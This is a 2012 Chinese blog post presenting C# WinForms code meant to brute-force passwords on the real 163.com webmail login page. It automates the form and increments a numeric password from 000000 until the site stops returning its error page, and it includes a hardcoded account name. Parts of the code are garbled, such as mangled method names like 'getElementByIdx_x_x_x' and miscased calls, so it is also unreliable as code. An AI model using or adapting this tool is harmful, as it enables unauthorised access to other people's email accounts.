加载中…
个人资料
  • 博客等级:
  • 博客积分:
  • 博客访问:
  • 关注人气:
  • 获赠金笔:0支
  • 赠出金笔:0支
  • 荣誉徽章:
正文 字体大小:

c#暴力破解网站密码简单实现

(2012-01-04 16:52:00)
标签:

c

破解密码

暴力破解密码

破解网站密码

分类: c#

暴力破解网站密码

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.IO;


namespace ReadNetPage
{
    public partial class Form1 : Form
    {
        public int password1 = 000000;
        public Form1()
        {
            InitializeComponent();
        }

               WebBrowser webBrowser1 = new WebBrowser();
    private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
{
#region 参数设置
HtmlElement btnSubmit = webBrowser1.Document.All["login"]; //获取登录对应元素
HtmlElement tbUserid = webBrowser1.Document.All["login_name"];     //获取用户名对应元素
HtmlElement tbStyle = webBrowser1.Document.All["style"];     //获取版本对应元素
HtmlElement tbPasswd = webBrowser1.Document.All["login_password"]; //获取密码对应元素
if (tbUserid == null || tbPasswd == null )
return;
tbUserid.SetAttribute("value", username.Text);     //给用户名赋值
tbPasswd.SetAttribute("value", password1.ToString());    //给密码赋值
tbStyle.Children[Convert.ToInt32(txtstyle.Text)].SetAttribute("selected", "selected");//设置版本
btnSubmit.InvokeMember("click"); //模拟点击登录按钮
#endregion


}
 

//在确定按钮的响应函数btnOK_Click中添加如下代码:

        private void btnOK_Click_1(object sender, EventArgs e)
        {
            bool check =true;
            int kcount = 0;
            string uuu = "http://email.163.com/";
           
 
         while ( check==true)
         {
            webBrowser1.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(webBrowser1_DocumentCompleted);
            webBrowser1.Navigate(uuu);
            while ( webBrowser1.ReadyState != WebBrowserReadyState.Complete)
            {
                Application.DoEvents();
            }
           
         
            while (webBrowser1.Document.Url.ToString() ==  uuu)
            {
                Application.DoEvents();
                kcount++;
            }

            if (webBrowser1.Document.Url.ToString().indexOf("http://email.163.com/errorpage/err_163.htm?errorType")>=0)
            {
                password1++;
                userpassword.Text = password1.ToString();
            }
            else
            {
                check = false;
            }
        }//while
        webBrowser2.Url = webBrowser1.Url;
            MessageBox.Show(webBrowser1.Document.Url.ToString()+" "+kcount.ToString());
        
        }

        private void button2_Click(object sender, EventArgs e)
        {
            string url = "http://email.163.com/";
   WebBrowser ber = new WebBrowser();
 ber.Navigate(new Uri(url));
 while (ber.ReadyState != WebBrowserReadyState.Complete)
 {
 Application.DoEvents();
 }
 ber.document.getElementByIdx_x_x_x("login_name").InnerText = "lj669888";//fill name
 ber.document.getElementByIdx_x_x_x("login_password").InnerText = "000000";//fill pwd
 HtmlElement formLogin = ber.Document.Forms["FrontPage_Form1"];
 formLogin.InvokeMember("submit");

 
 HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;
 request.Method = "GET";
 request.KeepAlive = false;


 // 接收返回的页面
 HttpWebResponse response = request.GetResponse() as HttpWebResponse;
           
 System.IO.Stream responseStream = response.GetResponseStream();
 System.IO.StreamReader reader = new System.IO.StreamReader(responseStream, Encoding.Default);
 string srcString = reader.ReadToEnd();

 MessageBox.Show(srcString);
  
        }


    }


  
}

0

阅读 收藏 喜欢 打印举报/Report
  

新浪BLOG意见反馈留言板 欢迎批评指正

新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 产品答疑

新浪公司 版权所有